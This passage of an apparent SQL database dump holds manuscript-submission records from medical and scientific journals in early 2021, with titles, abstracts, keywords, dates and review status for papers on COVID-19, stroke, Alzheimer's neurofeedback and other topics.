Island',1778,NULL,'2021-02-24',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7555,8811,277,0,'ipadm-21-7555','PERIODONTITIS: UN FACTOR AGRAVANTE DE LA COVID 19',NULL,16,1,'COVID 19','Hasta hace poco no había evidencia de que las personas con periodontitis, infectadas por el SARS-CoV-2 padecieran un peor curso de la enfermedad, sin embargo, diferentes estudios han demostrado que esta afección se asocia significativamente con un mayor riesgo de complicaciones por covid-19.\r\nSe estima que Los pacientes con periodontitis tienen casi 8 veces más posibilidades de morir, 4 veces más posibilidades de necesitar ventilación asistida y aproximadamente 3 veces más posibilidades de ingresar a una UCI si están infectados con covid-19 \r\n','PERIODONTITIS\r\nCOVID 19',2805,NULL,'2021-02-24',NULL,'Submitted',2,NULL,'2021-04-17',NULL,1,1,'1','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(7557,8813,73,0,'ipjnn-21-7557','Methodology and feasibility of neurofeedback to improve visual attention to letters in mild Alzheimer’s disease',NULL,14,0,'','Background: Brain-computer interface (BCI) systems are controlled by users through neurophysiological input for a variety of applications, including communication, environmental control, motor rehabilitation, and cognitive training. Although individuals with severe speech and physical impairment are the primary users of this technology, BCIs have emerged as a potential tool for broader populations, especially with regards to delivering cognitive training/interventions with neurofeedback. \r\n\r\nMethods and Findings: The goal of this study was to investigate the feasibility of using a BCI system with neurofeedback as an intervention for people with mild Alzheimer’s disease (AD). The study focused on visual attention and language since AD is often associated with functional impairments in language and reading. This study enrolled 5 adults with mild AD in a nine- to 13-week BCI EEG-based neurofeedback (NFB) intervention to improve attention and reading skills. Two participants completed intervention entirely. The remaining three participants could not complete the intervention phase because of COVID-19 restrictions. Pre- and post-assessment measures were used to assess reliability of outcome measures and generalization of treatment to functional reading, processing speed, attention, and working memory skills. Participants demonstrated steady improvement in most cognitive measures across experimental phases, although there was not a significant effect of NFB on most measures of attention. One subject demonstrated statistically significant improvement in letter cancellation during NFB. All participants with mild AD learned to operate a BCI system with training.\r\n\r\nConclusions: Results have broad implications for the design and use of BCI systems for participants with cognitive impairment. Preliminary evidence justifies implementing NFB-based cognitive intervention in AD\r\n','Brain-Computer Interfaces, Attention, Cognitive Remediation, Alzheimer Disease',330,NULL,'2021-02-24',NULL,'Submitted',2,NULL,'2021-03-25',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(7559,8815,73,0,'ipjnn-21-7559','Intraoperative Neurophysiological Monitoring',NULL,15,0,'','Intraoperative Neurophysiological Monitoring (IONM) consists of the continuous analysis of the patients’ neurological status using a set of tools and methods that allows us to assess the functional state of the neurological systems and pathways of interest. Different techniques, such as somatosensory evoked potentials (SSEPs), motor evoked potentials (MEPs), and others are employed according to the type of surgery and neurological tissue to be monitored.\r\n','neurophysiology, intraoperative monitoring, nerve preservation.',327,NULL,'2021-02-25',NULL,'Submitted',2,NULL,'2021-07-28',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7568,8820,91,0,'ijddr-21-7568','Description on various methods of drug delivery',NULL,5,0,'','The effectiveness of a drug can be greatly affected by the route of its administration. It is now possible to better control the pharmacokinetics, pharmacodynamics, toxicity, immunogenicity and effectiveness of drugs by creating a variety of drug delivery systems (DDSs).','pharmacokinetics, bioavailability, lozenges',2474,NULL,'2021-02-25',NULL,'Submitted',2,NULL,'2021-03-23',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7569,8821,971,0,NULL,'RESEARCH ADVANCEMENTS ON CORONA VIRUS',NULL,17,0,NULL,'In case of global pandemic corona virus disease 2019, clinical trials and research are assessing efficacy and safety for clinical patients for treating covid-19 as, it is evolving at unprecedented rate, by tracking clinical trials done and avoiding duplication efforts and phase2 clinical trials evaluate new therapeutics and by including investigational therapeutic effort on synthetic monoclonal antibodies (mAbs) for treating disease.  Trials designed to elaborate test multiple different kind of monoclonal antibody treatment.','CORONA VIRUS',4710,NULL,'2021-02-25',NULL,'Submitted',4,NULL,'2021-03-02',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7570,8821,971,0,NULL,'CORONA VACCINES TRIALS',NULL,12,0,NULL,'Coronavirus disease (2019) has become global pandemic disease with top threat to human health in 2019, there is a race going between vaccine makers to develop covid-19 vaccines, as vaccine development is a typical longest thing to develop with safety and efficacy, to meet challenges. There’s been urgent need for therapeutic counter measure for rapid developing virus for controlling the outbreak, first case of Covid was firstly seen In December, from then there are variable attempts to get and generate suitable vaccine in labs. The fastest vaccine trial had been done is corona vaccine with large trials, vaccine made by Pfizer and Biotech have done firstly tested immunization and got approved for vaccine for emergency use. From years there been trials going on related to corona virus which causes SARS – severe acute respiratory syndrome and efforts have paid off spectacularly','Coronavirus',4710,NULL,'2021-02-25',NULL,'Submitted',4,NULL,'2021-03-02',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7574,8824,91,0,'ijddr-21-7574','Editorial note for the Scope and Archives of International Journal of Drug Development and Research',NULL,5,0,NULL,'Editorial note for the Scope and Archives of International Journal of Drug Development and Research','Drug Development, Drug Design, Pharmocology',3391,NULL,'2021-02-25',NULL,'Submitted',2,NULL,'2021-03-23',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7590,8835,251,0,'ipacm-21-7590','Utilizing ACE 2 receptor for covid-19 treatment: turning foes to friends',NULL,15,0,'','An unusual, highly contagious coronavirus disease COVID-19 caused by recently identified severe acute respiratory syndrome coronavirus-2 (SARS-CoV-2) has become a clinic threat and presented a major health crisis worldwide in the absence of specific vaccine or antiviral drugs. SARS-CoV-2 uses angiotensin-converting enzyme 2 (ACE2), a type 1 transmembrane receptor to infect host cell and primarily target type II alveolar cells profusely rich in ACE2 expression. Although SARS-CoV-2 infect people of all age group but older population and persons with co-morbid conditions are at greater risk. Hypertension, renal impairment and diabetes are the most common underlying co-morbidities reported in covid-19 patients that contribute to disease worsening and more severe clinical complications leading to death. SARS-CoV-2 invasion induced ACE2 receptor down regulation with subsequent imbalance between angiotensin II and angiotensin 1-7 levels plays a vital role in pathogenic advancement of disease. Excess accumulation of angiotensin II causes distressed immune functions and hyper active inflammatory system leading to multi organ injuries thus contribute in covid-19 disease progression. In current review the dual role of ACE2 receptor operating as entry door to SARS-Cov-2 as well as a key player in pathogenic progression of disease is discussed. We further put forward a hypothesis to exploit ACE2 receptor functions to suppress disease progression and reduce mortality in covid-19 patients. ','SARS-Cov-2, ACE2 receptor, xanthenone, covid-19',3946,NULL,'2021-02-26',NULL,'Submitted',2,NULL,'2021-03-20',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(7592,8837,277,0,'ipadm-21-7592','Consideraciones anestésicas en el paciente con trauma de la columna cervical',NULL,15,0,'','Este artículo es una revisión narrativa sobre Trauma raquimedular (TRM) y sus consideraciones anestésicas. El trauma raquimedular (TRM) es un problema de salud pública que afecta principalmente a población económicamente activa de países de bajos y medianos ingresos, y se producen la mayoría debido a los accidentes de tránsito. El daño neurológico puede ser primario por cizallamiento, compresión, distracción o balístico, al ocasionar avulsión del tejido nervioso. También puede ser secundario por laceración, contusión o isquemia debido a hipotensión o hipoxemia. Prevenir y tratar las lesiones secundarias como isquemia, hipotensión arterial, hipoxia e inflamación es parte fundamental del manejo. Las metas perioperatorias se basan en prevenir el deterioro iatrogénico de una lesión existente y limitar el desarrollo de una lesión secundaria. Es primordial identificar cuáles son los pacientes que tienen riesgo de tener lesión cervical basado en los criterios clínicos y radiológicos que se exponen en este artículo. El manejo inicial del paciente con trauma raquimedular se basa en las guías de ATLS. El papel del anestesiólogo comprende la resucitación en la fase aguda, evitar que empeore la injuria secundaria, la clasificación de la lesión inicial y un manejo adecuado en el perioperatorio. A continuación, se exponen las medidas que se debe tener en cuenta durante el acto anestésico, como el manejo adecuado de la vía aérea, inducción y mantenimiento anestésicos recomendados, monitoría requerida y revisión de la evidencia sobre el uso de esteroides. ','This article is a narrative review of spinal cord trauma (TRM) and anesthetic considerations. The spinal cord trauma (TRM) is a public health problem that mainly affects the economically active population of low- and middle-income countries, and most occur due to traffic accidents. Nerve damage can be primary shear, compression, distraction or ballistic, by causing avulsion of nerve tissue. It can also be secondary to laceration, contusion or ischemia due to hypotension or hypoxemia. Prevent and treat secondary injuries such as ischemia, hypotension, hypoxia and inflammation are a fundamental part of management. Perioperative goals are based on iatrogenic prevention of worsening of an existing injury and limit the development of a secondary injury. It is essential to identify which patients are at risk based on clinical and radiological criteria set out in this article are cervical injury. The initial management of patients with spinal cord injury is based on ATLS guidelines. The role of the anesthesiologist includes resuscitation in the acute phase, avoid worsening the secondary injury, the classification of the initial injury and appropriate perioperative management. The actions that should be taken into account during anesthesia, as the proper management of the airway, recommended anesthetic induction and maintenance, monitoring and review of the required evidence of steroid use are presented.',2805,NULL,'2021-02-26',NULL,'Submitted',2,NULL,'2021-04-03',NULL,1,1,'0','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(7594,3375,45,0,'iphsj-21-7594','ntary bloonation aming umuz, Ethiopia, 20',NULL,0,0,NULL,'Bzbssvsv','University .',4076,NULL,'2021-02-26',NULL,'Submitted',4,NULL,'2021-06-02',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7617,8860,73,0,'ipjnn-21-7617','Automatic Recognition of Epileptic Seizure from EEG Signal based on Discrete Wavelet Transform',NULL,14,0,'','BACKGROUND: Automatic Recognition of Epileptic Seizure from EEG Signal based on Discrete Wavelet Transform. In traditional methods such as visual scanning, epilepsy detection is a time-consuming process which requires high accuracy and experience for analyzing the whole length of data. The main objective of this study is automatic diagnosis of epileptic seizures via discrete wavelet transform. METHODS AND FINDINGS: The data sets used in this work are electroencephalogram (EEG) signals. The classification of EEG signals proposed in this paper for diagnosis of epileptic seizures is based on wavelet transform. The method is composed of three steps: a) wavelet transform based feature extraction, b) feature space dimension reduction based on scatter matrices and c) classification. The proposed approach, applied on EEG data sets, belong to three categories: a) healthy persons, b) persons with epilepsy during a seizure-free period and c) persons with epilepsy during a seizure. CONCLUSION: The classification in this work is more accurate than previous studies. Conducted simulation shows the effectiveness of proposed method.','Epilepsy diagnosis; Seizure detection; discrete wavelet; Quadratic classifiers',336,NULL,'2021-02-28',NULL,'Submitted',2,NULL,'2021-04-14',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7627,8869,45,0,'iphsj-21-7627','Factors influencing Transient elastography in detecting   liver stiffness',NULL,14,0,NULL,'Transient elastography (TEE)  is a method used for estimating  liver fibrosis by measuring the liver stiffness (LSM).Aim of this study was to investigate whether  TEE fibrosis scores and  liver biopsy fibrosis scores are comparable . It was a Cross sectional study of  patients undergoing liver biopsy because of high TEE with persistent transaminitis/ normal TEE with persistent transaminitis/ high TEE with normal transaminases. TEE fibrosis score of study population was compared to liver biopsy fibrosis scores, which is considered as gold standard, and patients with discordance of more than one fibrosis stage was analyzed with above mentioned variables which can affect TEE. Characteristics of the discordant population was analysed. After applying spearman?s correlation it was found that albumin, Total bilirubin and INR had a strong correlation with TEE values. Multiple regression analysis showed albumin and SGOT were independent predictors of Liver stiffness measurement . The discordant population was again analysed after classifying it into two groups i.e F 0-2 (minimal fibrosis) and  F 3 (significant fibrosis based on biopsy) . After analysis it was found that in F 0-2 group there were certain variables like SGPT, Albumin and  INR   which had strong correlation with TEE values. Total bilirubin  and platelets had moderate correlation with TEE values. After analysing F3 group,  age  had  strong  positive correlation with TEE values. TEE was found to be better in detecting liver stiffness than liver biopsy in clinically suspected cirrhosis in this study.','Fibroscan, Liver stiffness, Fibrosis',686,NULL,'2021-03-01',NULL,'Submitted',2,NULL,'2021-03-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7635,8875,73,0,'ipjnn-21-7635','Predictive factors for Hemorrhagic Transformation after successful mechanical thrombectomy in cerebral large vessel occlusion',NULL,14,0,'','Background: Recently, updated guidelines show that mechanical thrombectomy has high degree evidence to treat acute ischemic stroke due to cerebral large vessel occlusion (LVO). However, hemorrhagic transformation (HT) occurs in some cases after recanalization, and it is associated with poor prognosis. Prevention of HT after recanalization therapy is thought to be important. In this study, we aimed to investigate factors related to HT after mechanical thrombectomy for patients with LVO.\r\nMethods: We included patients with cerebral LVO at anterior circulation within 24 hours from onset and presented successful recanalization by mechanical thrombectomy. We divided them into two groups, with HT, and without HT. We compared their characteristics, such as severity of clinical symptom, etiology, radiological findings between these groups.\r\nResults: This study showed that mild white matter lesion (Fazekas scale < 2), high Alberta Stroke Program Early CT (ASPECTS) score (>6) were independent factor of absence of HT after mechanical thrombectomy (odds ratio 3.57, p = 0.004, odds ratio 2.82, p < 0.040, respectively)\r\nConclusions: Severe white matter lesion and low ASPECS score at the time of admission might be predictors for HT after recanalization in patients with LVO. \r\n','acute ischemic stroke, large vessel occlusion, hemorrhagic transformation, white matter lesion',351,NULL,'2021-03-02',NULL,'Submitted',2,NULL,'2021-04-25',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7649,7130,45,0,'iphsj-21-7649','Paradoxical Stroke related to Asymmetrical Circle of Willis - Case Presentation and Literature Review',NULL,14,0,NULL,'The fetal posterior cerebral artery (f-PCA) is an anatomical variant of the circle of Willis which was correlated with ischemic stroke, either ipsilateral, or controlateral. We present the case of a male 82-year old patient, who was admitted in the emergency care unit of the „Prof. Dr. N.Oblu” Emergency Clinical Hospital, Iasi, for a transient ischemic attack. The patient presented several comorbidities such as diabetes mellitus, hypertension stage 2, renal hydronephrosis, atrial fibrillation, and ischemic cardiomyopathy. His first submission to the emergency unit in 2014 had been due to an episode of transient ischemic attack, but after one year of not respecting his treatment and not willing to engage enough in occupational therapy procedures, he developed a second stroke, this time a large one, with secondary reperfusion, which lead to patient\'s death in a short time from his admission in our hospital. The autopsy revealed an asymmetrical circle of Willis due to the presence of a left fetal PCA and right hypoplastic posterior communicating artery (PComA) and a brain infarction with reperfusion  of in the territory of the right PCA. Data from literature regarding  this particular type of paradoxal stroke and the coexistence of the two anatomical variants in the circle of Willis has been researched with the selection of 13 significant articles published in the period of the last 20 years.','f- PCA, stroke, circle of Willis, anatomical variants',4076,NULL,'2021-03-02',NULL,'Submitted',2,NULL,'2021-03-17',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7662,8888,45,0,'iphsj-21-7662','Long-term nerve conduction changes after successful treatment of POEMS syndrome: two case reports',NULL,2,0,'','The POEMS syndrome is a rare disorder manifesting with polyneuropathy and plasma cell dyscrasia accompanied by other multisystemic symptoms. Sensorimotor demyelinating, axonal and mixed types of polyneuropathy are the most disturbing problems of patients often leading to disability. Here we present two patients successfully treated with autologous hematopoietic stem cells transplantation. Symptoms of the POEMS syndrome entirely resolved after the treatment. Nerve conduction studies were used to follow-up patients in complete remission for few years to analyze dynamics of nerves regeneration. Despite patients clinical performance improvement, the recovery of nerve conduction was not complete. In both patients nerves of upper limbs function was restored to the greater extent than in lower limbs. Improvement or stabilization of impairment of sensory nerves conduction was followed by similar motor nerves conduction dynamic in a given limb. In addition, worsening of the electrophysiological features was observed; completing the picture of complex and subtle changes of conduction after the POEMS syndrome treatment. ','Keywords: autologous stem cell transplantation, nerve conduction studies, POEMS, polyneuropathy',3691,NULL,'2021-03-02',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(7663,8889,45,0,'iphsj-21-7663','HYPOGLYCEMIC INFLUENCE OF PHYTOCHEMICAL COMPOUNDS OF MEDICINAL PLANTS AND THEIR MECHANISM ACTION',NULL,15,0,'','Diabetes is very common among all social classes and among all age groups. Diabetes is represented in two types, the first type and usually it comes at a young age, and its main reason is the failure of the pancreas, which is the organ responsible for producing insulin, which is the hormone responsible for the metabolism of glucose, which causes its rise in diabetes, the second type and most often affects people after the age of 20 who have it. Some of the factors that cause diabetes, in which the pancreas is an active organ that produces insulin and performs its function, but there is something that prevents it from doing its job due to the presence of insulin resistance, and this is often what appears in people with obesity. Modern science has turned to alternative medicine to treat many diseases, including type 2 diabetes, in order to reduce the side effects of prescription drugs .In this review, some natural compounds will be summarized that may contribute to treating type 2 diabetes or trying to control and control it so that no complications occur.\r\n\r\n','Phytochemical compounds; Diabetes Mellitus; Type II; Natural products; Antidiabetic effect.',4610,NULL,'2021-03-02',NULL,'Submitted',2,NULL,'2021-03-17',NULL,1,1,'1','accepted',0,'','',NULL,0,0,0,NULL,0),(7664,8890,639,0,'ipfs-21-7664','A REVIEW OF SUSTAINABLE CULTURE AND CONSERVATION OF INDIGENOUS SCALY FISH- CASE STUDY OF HETEROTIS (Heterotis niloticus-cuvier 1829).',NULL,15,0,'','ABSTRACT\r\n\r\nThere has been recent increase in demand for scaly fish. Fish with scale and fins are equipped with digestive system that prevents the absorption of poisons and toxins into their flesh from the waters they come from. Collagen derived from fish scales could be used to heal wounds and for various biomedical applications. If you would like to live a healthy vibrant life, at least consider replacing some of those red meat meals, with some delicious fish. Reduce or eliminate shellfish from your diet and be sure that your fish has scales and fins.  Heterotis (heterotis niloticus) is one of the indigenous fishes with fins and scales. Its ability to survive in deoxygenated waters together with its great growth rate makes it a candidate for aquaculture.','scaly fish, heterotis, conservation, aquaculture\r\n',1776,NULL,'2021-03-03',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'1','   ',0,'','',NULL,0,0,0,NULL,0),(7666,8061,86,0,NULL,'Was the Nobel Prize awarded mistakenly? Should the corpus callosotomy be considered a \"split-brain surgery”?',NULL,1,0,NULL,'One of the most controversial topics in neuroscience surrounds the Nobel Prize-winning split-brain experiments of Sperry and colleagues. Their experiments were carried out on patients who had undergone a callosotomy, which is a surgery that removes the corpus callosum – one of the commissures that connects the cerebral hemispheres. After years of research that have allowed us to address some of the major concerns regarding this work, scientists remain doubtful about the validity of Sperry’s findings. This is due, in part, to the number of other commissures that also allow for communication between the hemispheres, including the anterior commissure, hippocampal (Fornix), septum pellucidum commissure, the interthalamic adhesion (intermediate mass), the habenular commissure, and the posterior commissure. Therefore, the original assumption made by Sperry, that severing the corpus callosum divides the brain, is an exaggeration of reality: while there is no doubt that the corpus callosum plays the largest contribution in the passage of information from one hemisphere to the other, it is not the only route. After reading and consulting the bibliography of this article, I hope that you will be able to formulate your own opinions about these questions.','Commissures, split-brain, corpus callosum, Callosotomy, epistemology, neurophysiology',2890,NULL,'2021-03-03',NULL,'Submitted',4,NULL,'2021-03-03',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7669,8895,86,0,'ipaom-21-7669','Impact of Corona Virus Disease-2019 (COVID-19) Pandemic on Social Lives and Interactions of Nigerian Citizens',NULL,14,0,NULL,'The coronavirus disease is a communicable and contagious respiratory disease that has not only affected human social lives, interactions and relationships but has equally changed other significant patterns and aspects of people’s normal life, even after the global lockdown. Nigerians, during and after the lockdown caused by covid-19 are behaviourally influenced and affected by the novel virus. Thus, this study sought to investigate how covid-19 pandemic has affected social lifestyle and interactions of Nigerians. \r\nThe main objectives of this study were to ascertain how covid-19 pandemic affected human communication and interactions; people’s social lifestyles and activities; people’s movement and transportation; the education system in Nigeria and house hold welfare or economy of Nigerians \r\nThe study adopted descriptive survey design with questionnaire and published materials on covid-19 as instruments for data collection. Nigerians aged 18 years and above were studied through an online questionnaire survey which was distributed through social media platforms, emails and professional networks between 10th and 30th January, 2021. Purposive sampling technique was used to select the five most affected covid-19 States in Nigeria in the year 2020 A total of 400 Nigerian participants completed the structured validated Likert-Scale questionnaire that assessed the impacts of covid-19 on people’s social lives, interactions and welfare. Data were analyzed using 4-point likert scale in descending order of SA, A, D and SD with mean and standard deviation to determine the level of responses. \r\nMajor findings revealed that covid-19 negatively affected the lives of people, ranging from lack of face-to-face communication and interaction, to change in people’s social welfare and lifestyle, to halt in education and academic activities, restriction in movement and transportation and household welfare challenges. \r\nIt is suggested that policymakers should intensify efforts to ensure that corona virus is completely eradicated by providing and making covid-19 drugs and vaccines available to all Nigerians. Government should ensure strict compliance to PTF directives on wearing of facemask by all Nigerians.','Corona Virus, Pandemic, Effect, Social Lives, Human Interactions, Citizens, Nigeria',3386,NULL,'2021-03-03',NULL,'Submitted',2,NULL,'2021-03-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(7677,8899,73,0,'ipjnn-21-7677','Importance of CSF glucose: protein ratio in diagnosis of Tuberculous Meningitis.',NULL,14,0,'','Background: Tuberculous meningitis (TBM) is the most severe manifestation of extrapulmonary tuberculosis with a high mortality and morbidity rates. As per the global tuberculosis (TB) report of 2017, the estimated incidence of TB in India was approximately 2,800,000 accounting for about a quarter of the world\'s TB cases. Many a times differentiating tuberculous meningitis from pyogenic meningitis becomes very difficult. The diagnosis depends upon clinical manifestation and cytochemical analysis of cerebrospinal fluid (CSF). Many researchers found that the CSF glucose: protein ratio less than 0.5 is useful to differentiate tubercular disease from non-tubercular meningitis.\r\n\r\nMethods: Sixty-two patients admitted to this tertiary hospital with symptoms and signs of meningitis, were selected and divided into two groups: tubercular (n=39) and pyogenic (n= 23), depending upon the accepted criteria. Clinical features and CSF parameters noted in each patient. \r\n\r\nResults: The mean age of patients with tubercular meningitis was 39.07 ± 16.67 years and that of pyogenic meningitis 34.35 ± 16.73 years. On CSF cytological and biochemical analysis the mean total white blood cell count was 256.74 ± 184.03 /cmm, mean protein 182.22 ± 113.12 mg/ dl and mean sugar 52.85 ± 19.3 in TBM whereas in pyogenic meningitis 106.17± 185.18 / cmm, 88.78 ±114.35 mg/ dl, and 63.47 ±19.48 mg/ dl  respectively. The CSF glucose: protein ratio in TBM was 0.29 and 0.71 in pyogenic meningitis. \r\n\r\nConclusions:  It was found that the CSF glucose: protein ratio of ≤ 0.5 may be useful in differentiating tuberculous from pyogenic meningitis high sensitivity and specificity. The cutoff value is highly statistically significant.\r\n\r\n\r\n','Meningitis, CSF Ratio, CSF Protein',326,NULL,'2021-03-03',NULL,'Submitted',2,NULL,'2021-04-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(7678,8900,73,0,'ipjnn-21-7678','The potential therapeutic value of BDNF-TrkB pathway in COVID-19 associated stroke',NULL,15,0,'','Infection of severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) was declared the coronavirus disease 2019 (COVID-19) pandemic by the World Health Organization (WHO) on March 11th, 2020. While most symptoms are those associated with the respiratory system, common symptoms also involve the nervous system. Stroke is a common complication of COVID-19, and it has been stated that future research should investigate the underlying mechanisms of COVID-19 associated thrombosis in order to develop preventative strategies for complications such as ischemic stroke (Merkler et al.). This is likely because SARS-CoV-2 binds to the angiotensin converting enzyme 2 (ACE2) receptor, and decreased activity of ACE2 promotes risk of stroke by causing an imbalance of the renin-angiotensin system. ACE2 is an enzyme that plays a role in the release of neurotrophic factors such as brain derived neurotrophic factor (BDNF), which plays a critical role in neurogenesis, cognitive function, and neurodevelopment. Earlier, it has been reported that the BDNF-TrkB system is neuroprotective during stroke. BDNF-TrkB signalling acts as a mediator of the renin-angiotensin system in the brain, and this regulatory effect may be disturbed during COVID-19 infection. This review consolidates the existing literature on the extensive role of the renin-angiotensin system and angiogenesis in COVID-19 and stroke with a focus on the BDNF-TrkB pathway. We hypothesize that the risk for stroke is higher in COVID-19 patients due to inhibition of BDNF that results from the downregulation of the ACE2 receptor during infection of SARS-CoV-2. In parallel, this review suggests that BDNF therapy may reduce the risk of stroke events and/or aid post-stroke recovery in COVID-19 patients.','COVID-19, Stroke, BDNF-TrkB, Angiotensin converting enzyme 2 (ACE2)',338,NULL,'2021-03-03',NULL,'Submitted',2,NULL,'2021-04-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(7680,8903,251,0,'ipacm-21-7680','Employing systems-based approaches for microbiologically influenced corrosion modeling ',NULL,17,0,'','Microbiologically influenced corrosion (MIC) is a corrosion process facilitated by microbiological activity that impacts asset integrity across oil and gas, chemical processing, aerospace, marine, and water industries. The phenomenon can lead, e.g., to very serious subsea pipeline corrosion leaks and natural gas pipeline leaks and explosions with huge environmental impact. This commentary discusses the critical need for systems-based MIC modeling for effective MIC management and preventing leaks, failures, and other process safety incidents due to MIC. ','Microbiologically influenced corrosion, Systems-based models, Bayesian networks, Corrosion management',3944,NULL,'2021-03-04',NULL,'Submitted',2,NULL,'2021-04-08',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7686,8910,975,0,'ipjbs-21-7686','Pediatric COVID-19 and MIS-C Patients in Jeddah, Saudi Arabia: Clinical, Laboratory and Radiological Aspects',NULL,14,0,'','Abstract:\r\nBackground:\r\nThe global pandemic due to the novel corona virus which first originated in Wuhan, China at the end of 2019 has resulted in over 108 million confirmed cases of COVID-19 disease and over 2 million deaths more than a year later, as reported by the World Health Organization. Local data in the Middle East in general and Saudi Arabia in particular regarding COVID-19 disease in children is limited and regarding MIS-C is particularly minute.\r\nObjective:\r\nThe aim of this study is to describe the clinical, laboratory and radiological features of pediatric COVID-19 patients and to assess if any pediatric patients developed MIS-C in one center in Jeddah, Saudi Arabia.\r\nMethodology:\r\nA retrospective descriptive study was conducted at Dr. Soliman Fakeeh Hospital (DSFH) in Jeddah, Saudi Arabia from May14, 2020 to September 9, 2020. Patient files were reviewed on the hospital information system, YASASII, to extract demographic data, initial vital signs, presenting signs and symptoms, laboratory markers, radiological features and patient management.  Data was collected and analyzed using IBM SPSS Statistics Version 20. \r\nResults:\r\nA total of 223 patients were found to have COVID-19 positive nasopharyngeal swabs. There were 11 patients who met the criteria of multi- system inflammatory syndrome in children (MIS-C), approximately 4.9% of the total COVID-19 positive pediatric patients.\r\nConclusion:\r\n	Data regarding pediatric COVID-19 disease is limited in Saudi Arabia and even more so regarding MIS-C. Further large scale studies are needed to determine whether there are regional differences in presentation of MIS-C or if underlying comorbidities play a role in determining the patient outcome.\r\n','MIS-C, Saudi Arabia, Pediatrics, COVID-19',3460,NULL,'2021-03-05',NULL,'Submitted',2,NULL,'2021-03-22',NULL,1,1,'1','Publish it',0,'','',NULL,0,0,0,NULL,0),(7693,8917,45,0,'iphsj-21-7693','Drug Shortages in Kazakhstan',NULL,14,0,'','•	Resources are limited, whilst population use them unrestricted time. However, no one pay attention that issue becoming burning by every year. So, 2020 showed us, that problem of drug shortages are exist, but reasons of it not only connected with limited resources, there are several causes of the issue. Research work require collecting data information to be aware about citizens view to the relevance of the problem. Our analysis shows a names of medicines, that are in lack. What is more, respondents gave their own opinion about affect of shortage. We conclude that countries should analyze and create acceptable standards for wellbeing.','drug shortages, medicine shortages, healthcare',685,NULL,'2021-03-05',NULL,'Submitted',16,NULL,'2021-03-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7696,8922,73,0,'ipjnn-21-7696','The benefits of the rehabilitation program in multiple sclerosis',NULL,14,0,'','Background. Multiple sclerosis, characterized by demyelination or loss of myelin sheaths affects the discharge of nerve impulses and the ability of the central nervous system – CNS, to transmit commands, resulting in disorders of functions that are directed by the CNS such as: sight, speech, walking, writing and memory. Depending on the location of the demyelination, patients have a wide range of symptoms that differ from person to person and may change as the condition progresses. The most common symptoms are: fatigue, balance and coordination disorders, vision and sensitivity disorders, pain and depression. Objective. In this study we aimed to demonstrate that the treatment of sclerosis by combining a drug treatment with a rehabilitation treatment, represented by physical therapy and occupational therapy, has superior therapeutic effects compared to simple drug treatment. Methods. In order to highlight the superior therapeutic efficacy of the mentioned combination, we studied, during one year, two groups of patients: the group that respects the home rehabilitation program and the group that does not respect the home rehabilitation program. In our study, we evaluated the following parameters: number of patients with falls, timed 25-Foot Walk and Multiple Sclerosis Quality of Life-54. Results. The results of our study highlight the superior therapeutic benefits of drug treatment associated with rehabilitation treatment. Conclusions. Patients who follow the rehabilitation program associated with drug treatment we found the following benefits: improving body stability; increase in muscle strength in the lower limbs; improving coordination and balance while walking; improving the QoL.\r\n\r\n','multiple sclerosis, rehabilitation treatment, physical therapy, demyelination,',337,NULL,'2021-03-07',NULL,'Submitted',2,NULL,'2021-07-30',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7700,8926,959,0,'ipacr-21-7700','MULTIMODALITY IMAGING BASED TREATMENT VOLUME DEFINITION FOR REIRRADIATION OF RECURRENT SMALL CELL LUNG CANCER (SCLC)',NULL,14,0,NULL,'Objective: Small cell lung cancer (SCLC) may be considered as a major health concern as a leading cause of cancer related mortality worldwide. Despite intensive management, SCLC may follow an aggressive disease course with recurrent and/or metastatic disease in a considerable proportion of the patients. Herein, we assess multimodality imaging based treatment volume definition for reirradiation of recurrent SCLC.\r\nMaterials and methods: Definition of treatment volume by multimodality imaging with incorporation of positron emission tomography (PET) or by computed tomography (CT)-simulation images only has been evaluated with comparative analysis for patients reirradiated for recurrent SCLC. \r\nResults: A multidisciplinary team of experts from surgery, medical oncology, radiation oncology, and pulmonology has been involved in individualized patient evaluation. Decision making for reirradiation of patients with recurrent SCLC has been performed after comprehensive assessment considering the lesion size, localization and association with critical structures, previously administered treatments at initial diagnosis, and time interval from initial RT. Treatment volume determination by CT-only imaging and by CT-PET fusion based imaging has been assessed with comparative analysis. Ground truth target volume has been found to be identical with treatment volume determination by CT-PET fusion based imaging as the primary result of this study.  \r\nConclusion: Incorporation of PET in RT planning process may be considered for patients receiving reirradiation for recurrent SCLC. Clearly, further investigation is required to shed light on this issue.','small cell lung cancer (SCLC), reirradiation, recurrence, recurrent SCLC, positron emission tomography (PET)',3521,NULL,'2021-03-08',NULL,'Submitted',2,NULL,'2021-03-26',NULL,1,1,'0','Thank You For assigning me as an 